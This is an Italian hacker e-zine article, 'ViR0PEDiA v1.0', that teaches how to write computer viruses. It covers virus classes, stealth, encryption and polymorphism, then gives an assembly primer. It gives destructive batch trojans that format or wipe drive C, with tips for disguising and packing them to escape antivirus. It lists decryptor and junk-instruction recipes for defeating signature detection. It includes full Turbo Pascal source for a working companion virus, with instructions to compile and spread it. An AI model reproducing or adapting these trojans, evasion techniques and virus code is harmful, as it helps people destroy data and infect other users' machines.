============================================================================== =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- --------------------[ previous ]---[ index ]---[ next ]--------------------- 浜様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 藩ViRii様様様様様様様幼陳陳陳陳 ViR0PEDiA v1.0 陳陳陳陳陳様様様様様様様様様様夕 Teoria & Tecnica della Programmazione Virale I-II parte INTRODUZIONE Cos' un virus informatico? Analogamente ai virus biologici, un parassita informatico un organismo capace di replicarsi tramite portatori sani e capace di causare malfunzionamenti al sistema. E' ovvio che nel paragone con la parola organismo si vuole intendere un blocco di codice, di istruzioni, fondalmentalmente un virus informatico solo un programmma, diverso da quelli normali, magari anche un po' intelligente, ma sempre un programma. Gli studi condotti sui virus informatici finora hanno classificato e ripartito i parassiti in diverse specie: la prima differenza a livello generale, la seconda classificazione invece pi specifica (riguarda il codice e le funzioni proprie del virus stesso). I CLASSIFICAZIONE - trojan horse (=cavallo di troia) - virus - worm (=verme) TROJAN HORSE Un trojan horse non propriamente un virus, ma un programma distruttivo pronto a esplodere. Con questo si vuole intendere che mentre lo scopo del virus cercare di restare nascosto il pi possibile e replicarsi, lo scopo del cavallo di troia danneggiare esplicitamente un sistema. Sono chiamati trojan horse perch di solito vengono distribuiti sotto false spoglie, magari fingendo di essere programmi ambiti o molto ricercati dall'utenza. Famosi trojan horse furono quelli che reclamavano il PKZIP300B. Alcuni esempi pratici? I BAT-trojan horse sono i pi semplici e efficaci da costruire, usando un qualsiasi editor di testo: C:\>EDIT TROJAN1.BAT @FORMAT C: /AUTOTEST C:\>EDIT TROJAN2.BAT @DELTREE /y C:\*.* Il carattere "@" serve a nascondere l'echo su schermo del comando (altrimenti l'utente si accorgerebbe subito di cosa succede). Nel primo caso viene utilizzata una piccola backdoor del comando FORMAT, precisamente il parametro /AUTOTEST. Di solito l'esecuzione di questo comando a rischio chiede sempre all'utente di ripensarci, prima di avviare la formattazione. C:\>FORMAT C: ATTENZIONE: TUTTI I DATI SUL DISCO FISSO C: ANDRANNO PERSI Continuare con la formattazione (S/N)? Tuttavia usando /AUTOTEST questa richiesta non viene effettuata e parte direttamente la formattazione del disco (non si sa perch la Microsoft abbia lasciato questo strano parametro). Stessa cosa per il comando DELTREE, che combinato con l'opzione /y rimuove tutti i files e tutte le cartelle dal disco C. Varianti simili si possono ottenere con il normale comando DEL del DOS. Per rendere uno di questi trojan horse pi infido e intercettabile dall'utente ignaro potete procedere come segue: - create il file BAT col trojan senza usare il comando @ - usate una utility tipo BAT2COM per convertire il file BAT in un eseguibile COM - per rendere la dimensione del trojan pi grande (quindi pi credibile) usate COPY /B trojan.com + command.com final.com - comprimete il file FINAL.COM usando PKLITE.COM oppure DIET, ICE In questo modo sar veramente difficile rilevare il trojan nel file, anche per un antivirus. Rientrano nella categoria anche le Logic Bomb (=bombe logiche) che sono dei particolari trojan attivati da un evento temporale o dal verificarsi di una certa condizione. WORM Concetto pi avanzato di virus, si pu definire come un virus che viaggia e si riproduce lungo le reti. Il pi famoso nella storia quello di Robert Morris jr., giovane americano che negli anni '80 riusc a mandare in tilt migliaia di computer a causa di una replicazione incontrollata del suo verme, che sfruttava un vecchio bug del sendmail. Oggi non esistono ancora worm perfezionati a tal punto da propagarsi cos rapidamente, questo anche a causa dei numerosi e diversi sistemi presenti su Internet, ma tuttavia Unix/Linux e Java sembrano terreno fertile per lo sviluppo dei worm. VIRUS Ecco l'argomento principale di cui ci occuperemo. I virus, studiati ormai da anni, sono classificati in modo specifico in base al funzionamento. II CLASSIFICAZIONE I- FLOPPY BOOT e MBR VIRUS Infettano un particolare settore dei dischi, quello iniziale, di avvio. Nei dischetti tale settore contiene il codice che visualizza il famoso messaggio: "Disco non di avvio / Sostituire il disco e premere un tasto". Nel disco rigido invece si parla di Master Boot Record (=record di avviamento principale) meglio conosciuto come MBR. Furono i primi virus ad essere creati e a diffondersi rapidamente, oggi in fase di estizione a causa dell'accesso 32-bit di Windows 95 ai dischi. Virus famosi: Form, PingPong, Stoned, AntiEXE, NYB-B1, DiskKiller, Michelangelo II- DOS-EXEC FILE VIRUS Stragrande maggioranza di virus, capaci di infettare i files eseguibili del sistema operativo. I loro bersagli preferiti sono i file COM e EXE del DOS. Rientrano in questa categoria anche alcuni virus che infettano i normali file BAT, facilmente scopribili. Oggi in via di estinzione. Virus famosi: November 17, Jerusalem, Ontario, Vienna III- WIN-EXEC FILE VIRUS Nuovi virus, che possono infettare diversi tipi di oggetti: NE-EXE NewExecutable File EXE per Windows 3.1 16-bit SCR ScreenSaver File SCR per Windows 3.1 16-bit PE-EXE PortableExecutable File EXE per Windows 95 32-bit VXD Device Driver File VXD per Windows 95 32-bit Esistono solo una quindicina di virus di questo tipo, ancora non tanto perfezionati. IV- MACRO VIRUS La moda del momento, ovvero i virus scritti in VBA (Visual Basic for Application). Sono virus multipiattaforma (possono funzionare sia su sistemi Windows che su Macintosh) in quanto non dipendono dal sistema operativo ma da una particolare applicazione che consente l'uso di macro, cio di comandi automatici. Ecco i programmi suscettibili a questo tipo di infezione: MS-WORD 6.0 - 95 - 97 File di tipo DOC MS-EXCEL 5.0 - 95 - 97 File di tipo XLS LOTUS AMIPRO File di tipo SAM, SMM esiste poi una categoria di applicazioni "a rischio" ancora in fase di sperimentazione (Lotus 1-2-3) e in genere tutte le applicazioni che permettono l'uso di macro. Virus famosi: Concept, Wazzu, Laroux, Alliance V- MULTIPARTITO Quando un virus riesce ad infettare diversi oggetti di quelli sopra elencati, si definisce multipartito. Esempi: Flip.2153 MBR + DOS-EXEC Junkie.1027 FLOPPY + MBR + DOS-EXEC Win.Apparition WIN-EXEC + MACRO Win.Ph33r DOS-EXEC + WIN-EXEC Esiste infine un'ultima suddivisione, fatta in base alla tipologia di virus, cio guardando proprio le funzioni e il codice interno del programma-virus. III CLASSIFICAZIONE I- Virus COMPANION Virus elementari, molto facili da rimuovere che sfruttano un buco offerto dal DOS. Sotto DOS esiste una grossa ambiguit quando si verifica una condizione simile: una directory contiene 2 files (PIPPO.COM e PIPPO.EXE), lanciando il comando "C:\>PIPPO" senza specificare null'altro, quale dei due files sar caricato prima? Ebbene il sistema Microsoft carica sempre prima i file COM quando viene specificata l'estensione, per cui facile intuire come si comportano i virus Companion: - cerca un file .EXE nella directory - crea un secondo file, con lo stesso identico nome ma con estensione .COM - nascondi il file .COM per ingannare l'utente (ATTRIB +H) Quando l'utente digita "PIPPO", crede di aver caricato "PIPPO.EXE", quando in realt non sa che stato avviato il virus conenuto in "PIPPO.COM" che di certo avr infettato un altro file. II- Virus AZIONE DIRETTA Si chiamano cos perch agiscono direttamente infettando i files delle directory. Ogni volta che un programma infetto viene eseguito, il virus esegue una scansione dei files presenti nella directory corrente (o in altre directory predefinite come C:\DOS, C:\, C:\WINDOWS) alla ricerca di possibili "vittime". Una volta trovato un "ospite", il virus lo contagia e quindi passa ad eseguire il programma originale per non destare i sospetti dell'utente. III- Virus TSR Categoria gi pi complessa di virus, in quanto riesce a rimanere attiva, di nascosto, all'interno del sistema operativo, sostituendo parti di esso. I virus TSR (Terminate and Stay Resident) riservano una porzione di memoria per s stessi (solitamente memoria alta) o sfruttano dei buchi di RAM non usati dal DOS dove potersi copiare, quindi acquistano una priorit maggiore rispetto al sistema operativo stesso per alcune operazioni "a rischio" come apertura di un file, esecuzione di un file, rename, attrib, accesso a un dischetto, ecc. Ognuna di queste operazioni pu essere intercettata dal parassita che prima di eseguire la vera procedura, infetta l'oggetto in uso (file o dischetto). IV- Virus STEALTH Quando un virus attivo in memoria, pu interferire col sistema operativo e pu farlo anche bene. La simbiosi pu essere tale che il parassita prende il controllo totale su alcune funzioni base del DOS. Tra le cose che un virus pu fare ovviamente rientra la capacit di far apparire tutto normale, cio nascondere tutti i sintomi e i segnali di allarme che possano farlo individuare. Questa tecnica detta "stealth" ed esistono varianti notevoli di questo furbo stratagemma: SIZE HIDING Se un virus X lungo 100 bytes, tutti i files infetti avranno la loro dimensione aumentata di 100. Un virus pu intercettare il comando "DIR" e sottrarre il valore 100 alla dimensione dei file infetti, facendoli sembrare non infetti all'output del comando. MBR STEALTH Un virus che infetta l'MBR, salva una copia del vecchio master boot record prima di sostituirlo con il codice virale. Quando un antivirus va a leggere l'MBR, il parassita intercetta la lettura e restituisce la copia originale salvata, mascherando l'infezione presente. CLEAN ON-THE-FLY Il virus pu intercettare tutte le operazioni di lettura sui files e modificarne l'output. Se ad esempio un programma prova a leggere un file infetto, il virus, attivo in memoria, intercetta l'operazione e ripulisce il file prima della lettura, rendendolo trasparente al controllo. Una volta finita l'operazione, il virus re-infetta il file. E' questo uno dei metodi pi efficaci, che riesce ad annullare anche i controlli tramite CRC-checksum. V- Virus ENCRYPTED (=cifrati) Un virus un programma come tanti altri, quindi formato da righe di codice. Ogni virus viene infatti identificato dall'antivirus attraverso una particolare sequenza di istruzioni in linguaggio macchina (stringa) che propria di ogni parassita. Questa stringa non altro che una serie di bytes, ognuno dei quali corrisponde ad una istruzione assembler o a un testo particolare racchiuso nel virus. Ad esempio in tutti i files infetti dal virus Tai-Pan.438 possibile leggere questa stringa "[Whisper presenterar Tai-Pan]", il che rende il virus facilmente identificabile. Meglio ancora l'identificazione tramite il codice vero e proprio del virus: tutti i files infetti dal virus Tai-Pan.438 infatti presentano queste istruzioni: Bytes Codice Macchina E80000 CALL xxxx 5E POP SI 83EE03 SUB SI,+03 B8CE7B MOV AX,7BCE CD21 INT 21 3DCE7B CMP AX,7BCE 7517 JNZ yyyy 0E PUSH CS 1F POP DS dove "xxxx" e "yyyy" sono valori generici che cambiano per ogni file. Quindi il virus Tai-Pan riconoscibile ricercando questa stringa esadecimale "E800005E83EE03B8CE7BCD213DCE7B75170E1F". Per ovviare questo riconoscimento ed essere meno riconoscibili i virus ricorrono alla cifratura del codice (encryption). Il codice cio si presenta in questo modo: VIRUS NON CIFRATO VIRUS CIFRATO 1: istr1 0: DECIFRATORE 2: istr2 1: istrX 3: istr3 2: istrY 4: __.. 3: istrZ 5: "esempio" 4: ____. 5: "hqhrtac" Il virus non cifrato facilmente riconoscibile dalle istruzioni che lo compongono e anche dalla stringa di testo "esempio" presente al suo interno. Lo stesso virus, in forma cifrata, diventa irriconoscibile, poich ogni istruzione viene camuffata e trasformata in un'altra totalmente diversa di significato; cos anche il testo, diventa una stringa incomprensibile. Inoltre il sistema di cifratura utilizza una chiave (di solito 8/16-bit) che pu essere fissa ma anche variabile, cio mutevole ad ogni infezione. Questo significa che il corpo cifrato del virus varia per ogni file infetto. Ovviamente in capo al virus deve esserci un decifratore capace di riportare allo stato originale il codice del virus. Ecco ad esempio il motore cifrante dello Junkie.1027, presente sempre in testa al virus: Riga Bytes Istruzione 0001: BE8FE0 MOV SI,0008 0002: B9F401 MOV CX,01F4 0003: 26 ES: 0004: 8134BC2E XOR WORD PTR [SI],2EBC 0005: 46 INC SI 0006: 46 INC SI 0007: E2F7 LOOP $0001 0008: %qui inizia il corpo del virus in forma cifrata La prima istruzione punta l'inizio del corpo del virus (riga 0008); la seconda imposta il numero di bytes da decifrare, solitamente corrispondente alla lunghezza del virus stesso (01F4 = 500 WORD = 1000 BYTES 1027). Ecco di seguito l'operatore crittografico "XOR" che lavora usando una chiave a 16-bit (1 WORD). Quindi ci sono le istruzioni di scarto per passare alla word successiva e infine l'istruzione ciclica LOOP. Questo un esempio generico di motore crittografico, le varianti possono essere le pi svariate, a partire dagli operatori matematici usati (XOR, ADD, SUB, NOT, ADC, SBB) o sulle istruzioni cicliche (cambiabili con salti condizionati JZ, JNZ). VI- Virus POLIMORFICI Utilizzando la tecnica della cifratura un virus diventa riconoscibile solo ed esclusivamente dal suo motore crittografico, ma usando le opportune accortezze possibile realizzare dei parassiti che modificano questo motore cifrante ad ogni infezione. Cos difficile che 2 files infetti dallo stesso virus risultino simili. Questa tecnica, denominata polimorfismo, viene realizzata sia usando dei tools esterni (MtE, TPE, DAME, DSCE, SMEG) che vengono linkati al corpo del virus, sia scrivendo un proprio codice polimorfico all'interno del virus. Grosso modo una routine polimorfa segue questo schema di funzionamento: - la prima cosa da fare scrivere un motore crittografico molto flessibile, dove le istruzioni possano essere scambiate, usando diversi operatori crittografici, il motore dello Junkie.1027 visto prima pu andare bene: 0001: BE0800 MOV SI,0008 0002: B9F401 MOV CX,01F4 0003: 26 ES: 0004: 8134BC2E XOR WORD PTR [SI],2EBC 0005: 46 INC SI 0006: 46 INC SI 0007: E2F7 LOOP $0001 0008: %qui inizia il corpo del virus in forma cifrata l'operatore crittografico XOR pu essere variato, usando ad esempio ADD e SUB che generano i seguenti codici: 0004: 8104BC2E ADD WORD PTR [SI],2EBC 0004: 812CBC2E SUB WORD PTR [SI],2EBC abbiamo in totale quindi 3 trasformazioni del nostro motore (XOR, ADD, SUB), dove per cambia solo un bytes. Un'altra variazione si pu operare sul segmento dati ES, nei file COM possiamo usare in alternativa anche i segmenti DS e CS. 0003: 2E CS: 0003: 3E DS: Con quest'altre due variazioni il numero di trasformazioni cresce a 9, con due bytes di differenza. Altra modifica possibile sul registro di indirizzamento dati SI, che pu essere alternato con DI e BX generando numerose varianti di codice: Usando BX 0001: BB0800 MOV BX,0008 / 8137BC2E XOR WORD PTR [BX],2EBC 0004: - | 8107BC2E ADD WORD PTR [BX],2EBC \ 812FBC2E SUB WORD PTR [BX],2EBC 0005: 46 INC BX Usando SI 0001: BF0800 MOV DI,0008 / 8135BC2E XOR WORD PTR [DI],2EBC 0004: - | 8105BC2E ADD WORD PTR [DI,2EBC \ 812DBC2E SUB WORD PTR [DI],2EBC 0005: 47 INC DI In questo modo le combinazioni ottenute crescono veramente tanto e il motore si riduce a qualcosa del tipo: 0001: ??0800 MOV ??,0008 0002: B9F401 MOV CX,01F4 0003: ?? ??: 0004: 81??BC2E ?? WORD PTR [??],2EBC 0005: ?? INC ?? 0006: ?? INC ?? 0007: E2F7 LOOP $0001 Dove l'indirizzo "0008" e la chiave di cifratura "2EBC" variano da file a file, quindi la stringa del virus si riduce a soli 6 bytes costanti: "?? ?? ?? B9 F4 01 ?? 81 ?? ?? ?? ?? ?? E2 F7" niente male, davvero! Si pu ancora migliorare il polimorfismo di questo motore usando le "junk instruction", ovvero del codice inutile e indifferente che pu essere inserito per spezzare i bytes costanti. Ecco alcuni esempi di junk che non alterano il codice di un programma: - aggiunge il valore "0" a un registro 16-bit 050000 ADD AX,0000 83C600 ADD SI,+00 83C500 ADD BP,+00 - toglie il valore "0" a un registro 16-bit 83EB00 SUB BX,+00 83EF00 SUB DI,+00 83EC00 SUB SP,+00 - stesse di prima ma su registri a 8-bit 0400 ADD AL,00 80E900 SUB CL,00 - PUSH e POP una dietro l'altra 50 PUSH AX 58 POP AX - caricamento di un registro 16-bit con s stesso 89C0 MOV AX,AX 89FF MOV DI,DI 89ED MOV BP,BP - caricamento di un registro 16-bit con s stesso 87DB XCHG BX,BX 87F6 XCHG SI,SI 87E4 XCHG SP,SP - stesse di prima ma su registri a 8-bit 88C0 MOV AL,AL 88F6 MOV DH,DH 86DB XCHG BL,BL 86ED XCHG CH,CH - salti condizionali inutili (0-jump) EB00 JMP seguente 7500 JNZ seguente 7400 JZ seguente 7F00 JG seguente 7700 JA seguente E la lista potrebbe continuare, c' solo l'imbarazzo della scelta. Inserendo istruzioni di questo tipo dentro al codice non solo si sende il codice pi contorto da districare, ma si rende la lunghezza della stringa variabile, modificando ogni volta la posizione dei pochi bytes costanti rimasti. PRIMA LEZIONE Programmazione di un virus Companion usando Turbo Pascal La maggioranza dei virus viene scritta in linguaggi a basso livello, che operano pi velocemente e pi vicino al cuore del sistema operativo; tuttavia tentativi di realizzare virus usando linguaggi ad alto livello (tipo BASIC, C++, PASCAL) sono stati fatti, con risultati pi o meno buoni. Questa specie di virus viene identificata dalla sigla "HLLx", che sta per "High Level Language" mentre la "x" identifica meglio il tipo di parassita: O=overwriting virus (virus che sovrascrive i files durante le infezioni, con danni irreparabili) C=companion virus P=parasitic virus L'esempio di questa lezione sar un semplice virus di tipo Companion (HLLC quindi) scritto usando il pi comune dei linguaggi: il Turbo Pascal. E' richiesta solo una conoscenza base (non approfondita) del linguaggio per capire il listato del virus. }--------------------------> INIZIO <---------------------------{ {Type: COMPANION VIRUS Desc: Ricerca e infetta 1 file EXE, creando il file COM corrispondente con una copia del virus. Ogni dir contiene al massimo 3 file EXE infetti} {$M 1024,0,1024} {Direttive al compilatore per ottimizzare l'uso di memoria RAM} PROGRAM VIRUS_SAMPLE1; USES DOS,CRT,STRINGS; TYPE CHARFILE=FILE OF CHAR; VAR File1,File2: SearchRec; VirFile: string[12]; F,G: CHARFILE; anno, mese, giorno, nomegiorno: Word; {Ricava il nome del file COM dall'EXE trovato} PROCEDURE ConverteNomeEXE(VAR File1:SearchRec); VAR i:integer; BEGIN i:=0; WHILE (i<=8) AND (File1.Name[i]<>'.') DO BEGIN VirFile[i]:=File1.Name[i]; inc(i); END; virfile[i]:='.'; virfile[i+1]:='C'; virfile[i+2]:='O'; virfile[i+3]:='M'; END; {Riceve un file Sorgente e uno Destinazione e li copia} PROCEDURE CopiaFile(VAR S,D:CHARFILE); VAR byte:char; BEGIN ASSIGN(D,VirFile); ASSIGN(S,File2.Name); REWRITE(D); RESET(S); WHILE NOT EOF(S) DO BEGIN READ(S,byte); WRITE(D,byte); END; CLOSE(S); CLOSE(D); END; {Modifica il file COM per eseguire l'applicazione ospite} PROCEDURE ModificaFile(VAR F:CHARFILE); VAR i:integer; byte:char; BEGIN RESET(F); SEEK(F,1081); i:=0; WHILE (i<=8) AND (File1.Name[i]<>'.') DO BEGIN WRITE(F,File1.Name[i]); inc(i); END; byte:='.'; WRITE(F,byte); byte:='E'; WRITE(F,byte); byte:='X'; WRITE(F,byte); byte:='E'; WRITE(F,byte); byte:=chr(00); WRITE(F,byte); CLOSE(F); END; {Main} BEGIN ClrScr; {cancella lo schermo} FindFirst('*.EXE', Archive, File1); {cerca il primo file EXE} {se stato trovato almeno un file EXE si prosegue} IF DosError = 0 THEN BEGIN ConverteNomeEXE(File1); {Vede se esiste gi un COM nascosto, quindi il file gi infetto} FindFirst(VirFile, Hidden, File2); {se non esiste c' errore e si pu procedere con l'infezione} IF DosError<>0 THEN BEGIN FindFirst('*.COM', Hidden, File2); CopiaFile(G,F); ModificaFile(F); SetFAttr(F, 34); END ELSE BEGIN {se il primo EXE gi infetto cerca il secondo EXE} FindNext(File1); ConverteNomeEXE(File1); FindFirst(VirFile, Hidden, File2); IF DosError<>0 THEN BEGIN FindFirst('*.COM', Hidden, File2); CopiaFile(G,F); ModificaFile(F); SetFAttr(F, 34); END ELSE BEGIN {se il secondo EXE gi infetto cerca il terzo EXE} FindNext(File1); ConverteNomeEXE(File1); FindFirst(VirFile, Hidden, File2); IF DosError<>0 THEN BEGIN FindFirst('*.COM', Hidden, File2); CopiaFile(G,F); ModificaFile(F); SetFAttr(F, 34); END; END; END; END; {routine di attivazione "payload} GetDate(anno,mese,giorno,nomegiorno); IF (mese=1) AND (giorno=1) THEN BEGIN CLRSCR; WRITELN('Date:',giorno,'/',mese,'/',anno); WRITELN('Right Moment to Buy an Antivirus!'); WRITELN; WRITELN('HLLC.7200 Companion Virus'); WRITELN('Pascal Sample Written for VIROPEDIA 1.0'); READLN; END; {ritorna all'esecuzione del programma originale} Exec('12345678.EXE',''); END. }---------------------------> FINE <----------------------------{ Per compilare questo virus bisogna usare queste accortezze: - compilare il sorgente usando TURBO PASCAL o BP - rinominare il file ottenuto con "12345678.COM" - impostare al file attributo nascosto "ATTRIB +H 12345678.COM" - creare un file EXE ospite per il virus col nome "12345678.EXE" potete creare il file ospite usando lo stesso Pascal (per restare in tema.) PROGRAM FIRST_HOST; BEGIN WRITELN('HLLC.7200 Virus Sample for Viropedia'); WRITELN('Primo ospite campione per'); WRITELN('la replicazione del virus'); END. Il virus ora pronto, basta copiare i file "12345678.COM" e "12345678.EXE" per diffonderlo. Il suo metodo di infezione consiste nel ricercare fino a 3 file EXE nella dir corrente e a creare un file COM corrispondente nascosto. Il file COM contiene una copia del virus che viene eseguita subito, quindi il file ritorna il controllo al file EXE originale. L'attivazione di questo virus (innocua) consiste nel mostrare un messaggio a video il giorno 1 Gennaio di qualsiasi anno. SECONDA LEZIONE Nozioni base di Assembly Come tutti voi sapete i virus sono scritti in un linguaggio molto vicino a quello "naturale" del computer, l'Assembly; i listati scritti in questo linguaggio sono caratterizzati dall'estensione ASM (a volte anche A86). Prima di passare alla scrittura di un virus in assembly, facciamo una breve carrellata su questo linguaggio e sulle sue funzionalit. ALGEBRA Un buon programmatore assembly deve conoscere necessariamente l'aritmetica binaria e quella esadecimale. Il nostro sistema tradizionale di numerazione (decimale) usa 10 simboli (0-1-2-3-4-5-6-7-8-9) per rappresentare i numeri; il sistema binario ne usa solo 2 (0-1), quello esadecimale, abbreviato con "hex", ne usa 16 (0-1-2-3-4-5-6-7-8-9-A-B-C-D-E-F). Il fattore di conversione un puro calcolo matematico; ovviamente un numero rappresentato in binario occuper pi cifre di uno in decimale, mentre uno in forma hex sar meno lungo di uno decimale. Esempio: DEC=1234 BIN=10011010010 HEX=4D2 Sotto ASM possibile gestire molto praticamente questi 3 diversi sistemi di numerazione, quello di default il decimale, ma possibile scrivere numeri negli altri formati aggiungendo "B" e "H" alla fine del numero. Esempio: 10011010010B 4D2H I numeri hex non possono cominciare con una lettera A55H non ammesso, 0A55H s REGISTRI Gli elementi chiave dell'assembly sono i registri, ovvero delle particolari celle di memoria che possono memorizzare determinati valori. La dimensione dei registri dipende dal processore e dalla compilazione usata, inizieremo a lavorare con i registri a 16-bit (2 BYTE=1 WORD). Registri a 16-bit AX BX CX DX SI DI CS DS ES SS BP SP IP I primi 4 registri sono ancora suddivisi in registri a 8-bit, che indicano rispettivamente la parte alta e la parte bassa del registro. AX Accumulatore (diviso in AH e AL) BX Puntatore memoria (diviso in BH e BL) CX Contatore dei cicli (diviso in CH e CL) DX Dati (diviso in DH e DL) SI Sorgente dati DI Destinazione dati Abbiamo poi i registri di segmento, che indicano delle porzioni di memoria RAM da 64K. CS Code Segment (segmento codice in esecuzione) DS Data Segment (segmento zona dati) ES Extra Segment (segmento aggiuntivo) SS Stack Segment (segmento stack) BP Base Pointer (punta la cima dello stack) SP Stack Pointer (punta la fine dello stack) IP Instruction Pointer (punta l'istruzione corrente) I registri che possono indirizzare la memoria, cio riferirsi a dei dati contenuti in un certo punto della RAM, sono solo BX,SI e DI. Nei processori 386 e superiori esistono i registri a 32-bit che richiedono debugger particolari per il loro controllo. Registri a 32-bit EAX EBX ECX EDX ESI EDI CS DS ES SS FS GS EBP ESP EIP Volete vedere dal vivo i registri? Usate il comando del dos chiamato "DEBUG" (lo userete molto spesso!) e seguite l'esempio: C:\>DEBUG -R AX=0000 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000 DS=0E3C ES=0E3C SS=0E3C CS=0E3C IP=0100 NV UP EI PL NZ NA PO NC 0E3C:0100 37 AAA - Il comando "R" vi d lo stato attuale dei registri, inoltre viene restituita anche l'istruzione da eseguire (AAA), con il relativo codice hex. L'istruzione seguente sempre puntata dall'indirizzo CS:IP. Esistono poi alcuni "tester" chiamati FLAG. Essi sono degli switch che possono valere 0 o 1 e scattano in date condizioni: CF Carry Flag Flag di riporto, indica un riporto nelle somme e nelle sottrazioni. PF Parity Flag Bit di parit, viene usato nei processi di comunicazione ZF Zero Flag Se settato indica che il risultato di una operazione zero SF Sign Flag Flag di segno, indica se considerare il numero in assoluto o col segno TF Trap Flag Usato dal debugger per controllare l'esecuzione passo-passo (trappola) DF Direction Indica il verso in cui bisogna lavorare con le stringhe (1=avanti, 0=indietro) ISTRUZIONI BASE Ora che conoscete i registri possiamo passare alla presentazione di alcune istruzioni base del linguaggio, le pi comuni e usate: ADD Addizione tra due registri, tra un numero e un registro, tra un'area di memoria e un registro, tra un'area di memoria e un numero. Esempio: Codice Istruzione 053412 ADD AX,1234 ;aggiunge in AX il valore 1234H 01D0 ADD AX,DX ;aggiunge in AX il valore di DX 00F4 ADD AH,DH ;aggiunge in AH il valore di DH 00DC ADD AH,BL ;aggiunge in AH il valore di BL 0307 ADD AX,[BX] ;aggiunge in AX il valore WORD puntato dall'indirizzo di BX 0207 ADD AL,[BX] ;aggiunge in AX il valore BYTE puntato dall'indirizzo di BX 80C199 ADD CL,99 ;aggiunge in CL il valore 99H Come potete notare possibile operare solo con registri della stessa dimensione o con registri e valori dello stesso formato. Ad esempio un'addizione del numero 1234 (16-bit) al registro AL (8-bit) errata. Inoltre in caso di ambiguit bisogna specificare se il dato da manipolare di tipo WORD (16-bit) o di tipo BYTE (8-bit), usando l'istruzione "PTR" 800711 ADD BYTE PTR [BX],11 81073412 ADD WORD PTR [BX],1234 Se il numero risultato eccede per il registro, il flag di riporto verr settato su ON. L'istruzione non pu accedere direttamente ai registri di segmento, ad esempio se si vuole aggiungere 100 a DS bisogna farlo indirettamente. SUB Funzione inversa di ADD, effettua la sottrazione tra numeri, registri o valori. Stesso funzionamento di ADD. INC / DEC Nel caso di addizione o sottrazione di 1, si possono usare queste due istruzioni, molto pi veloci e ridotte in termini di spazio: 050100 ADD AX,0001 40 INC AX 83EB01 SUB BX,+01 4B DEC BX ^^^^^^^ ^^ 3 bytes 1 byte Non si possono usare direttamente sui registri di segmento. MOV Muove un valore dentro a un registro, o un registro dentro un altro registro, un valore dentro un'area di memoria o un registro dentro un'area di memoria. B83412 MOV AX,1234 ; carica in AX il valore 1234H 89FE MOV SI,DI ; carica in SI il valore di DI C7073412 MOV WORD PTR [BX],1234 ; carica nella zona puntata da [BX] 1234H 8907 MOV [BX],AX ; carica nella zona puntata da [BX] AX Usando questa istruzione possibile accedere ai registri di segmento e modificarli: 8CDA MOV DX,DS ; carica in DX il valore di DS 81C20001 ADD DX,0100 ; aggiunge 100H a DX 8EC2 MOV ES,DX ; carica in ES il valore di DX Non sono ammesse manipolazioni sui registri CS e IP. PUSH / POP Permettono di salvare un registro o il valore puntato da un registro nello stack per poi ripristinarlo. Domanda: quanto vale AX dopo aver eseguito queste istruzioni: B80001 MOV AX,0100 50 PUSH AX 050001 ADD AX,0100 58 POP AX Risposta: vale ancora 100H, perch il valore viene salvato con PUSH e poi ripristinato. In questo modo anche possibile manipolare i registri di segmento, come abbiamo visto prima con l'istruzione MOV. 1E PUSH DS 5A POP DX 81C20001 ADD DX,0100 52 PUSH DX 1F POP DS E' l'equivalente dell'istruzione MOV vista poc'anzi. Non si possono tuttavia salvare registri a 8-bit (PUSH AL non ammessa). PUSH va a memorizzare il valore all'indirizzo puntato dal registro SP e sottrae 2 a questo registro; la POP si comporta inversamente, restituisce il valore puntato da SP e gli aggiunge 2. NOP E' un'istruzione progettata per non fare nulla, assolutamente nulla. A cosa serve direte voi?? Per le ottimizzazioni di codice, cio per sincronizzare le esecuzioni e i trasferimenti dati. Il suo codice esadecimale 90H. CMP Istruzione di confronto, serve per confrontare tra di loro due registri, delle posizioni di memoria. 39D8 CMP AX,BX ; confronto tra registri 16-bit 38D8 CMP AL,BL ; confronto tra registri 8-bit 39FE CMP SI,DI ; confronto tra registri 16-bit 3904 CMP [SI],AX ; confronto tra valore puntato e registro 3B0F CMP CX,[BX] ; confronto tra registro e valore puntato 3D3412 CMP AX,1234 ; confronto tra registro e valore diretto 16-bit 80FC12 CMP AH,12 ; confronto tra registro e valore diretto 8-bit 803C12 CMP BYTE PTR [SI],12 ; confronto tra val. puntato e val. diretto 8-bit 813D3412 CMP WORD PTR [DI],1234 ; confronto tra val. puntato e val. diretto 16-bit Non si possono confrontare tra di loro due valori diretti o due valori puntati contemporaneamente. Occorre caricare uno di essi prima in un registro e poi eseguire il confronto su quel registro. JMP Salta a un indirizzo, simile all'istruzione GOTO del Basic. Si pu usare in diversi formati: E9FD03 JMP 0500 ; salta all'indirizzo 500H EA78563412 JMP 1234:5678 ; salta all'indirizzo 5678H del segmento di memoria 1234H FFE3 JMP BX ; salta al valore di BX FF27 JMP [BX] ; salta al valore puntato dal registro BX JNZ / JZ Salti condizionali, eseguono il salto se una data condizione vera o no. In questo caso la condizione data dallo zero flag, esistono per altri tipi di salti: JNC / JC salta se non c' / se c' riporto (Jump if Not Carry) JNA / JA salta se non superiore / se superiore (Jump if Not Above) JNB / JB salta se non inferiore / se inferiore (Jump if Not Below) JCXZ salta se il registro CX zero (Jump if CX is Zero) Di solito il salti condizionali seguono ad un'istruzione CMP o ad una OR. I salti condizionali hanno un limite (range) per cui non si possono fare salti dall'indirizzo corrente ad uno che superi i 181H (385D) bytes. ....continua sul prossimo numero! [Il file Sample01.zip contiene i listati e gli eseguibili del virus companion di cui si parla nell'articolo] PFloriK --------------------[ previous ]---[ index ]---[ next ]--------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ==============================================================================